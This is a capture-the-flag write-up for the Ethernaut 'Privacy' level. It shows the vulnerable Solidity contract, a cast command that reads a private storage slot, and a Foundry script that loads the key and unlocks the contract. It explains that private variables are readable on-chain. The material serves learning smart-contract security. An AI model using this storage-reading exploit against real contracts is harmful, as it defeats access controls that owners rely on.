Privacy
title: Privacy weight: 13 type: docs prev: elevator next: gatekeeper-one
Level12 - ⭐⭐⭐
The creator of this contract was careful enough to protect the sensitive areas of its storage.
Unlock this contract to beat the level.
Things that might help:
- Understanding how storage works
- Understanding how parameter parsing works
- Understanding how casting works
Tips:
- Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true; // slot 0
uint256 public ID = block.timestamp; // slot 1
uint8 private flattening = 10; // slot 2
uint8 private denomination = 255; // slot 2
uint16 private awkwardness = uint16(block.timestamp); // slot 2
bytes32[3] private data; // [slot3, slot4, slot5]
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
for more details on storage layout read this article:
So, the _key
is stored at slot 5 since it is data[2]
:
➜ ~/repos/ethernaut (main) cast storage --rpc-url $SEPOLIA_RPC_URL $INSTANCE_12 5
0xe32410e9fbc1f17b0f1d9a6ed141317f11c4b2a5d38981dfa025aacf8b708d7d
Solution:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Privacy} from "../src/12.sol";
contract POC is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address addr = vm.envAddress("INSTANCE_12");
vm.startBroadcast(deployerPrivateKey);
Privacy privacy = Privacy(addr);
console.log('isLocked : %s', privacy.locked());
// vm.load() allows us to read arbitrary storage slot
bytes16 key = bytes16(vm.load(address(privacy), bytes32(uint(5))));
privacy.unlock(key);
console.log('isLocked : %s', privacy.locked());
vm.stopBroadcast();
}
}
Nothing
in the ethereum blockchain is private. The keyword private is merely an
artificial construct of the Solidity language. Web3’s getStorageAt(...)
can be used to read anything from storage. It can be tricky to read
what you want though, since several optimization rules and techniques
are used to compact the storage as much as possible.
It can’t get much more complicated than what was exposed in this level. For more, check out this excellent article by “Darius”: How to read Ethereum contract storage
More info: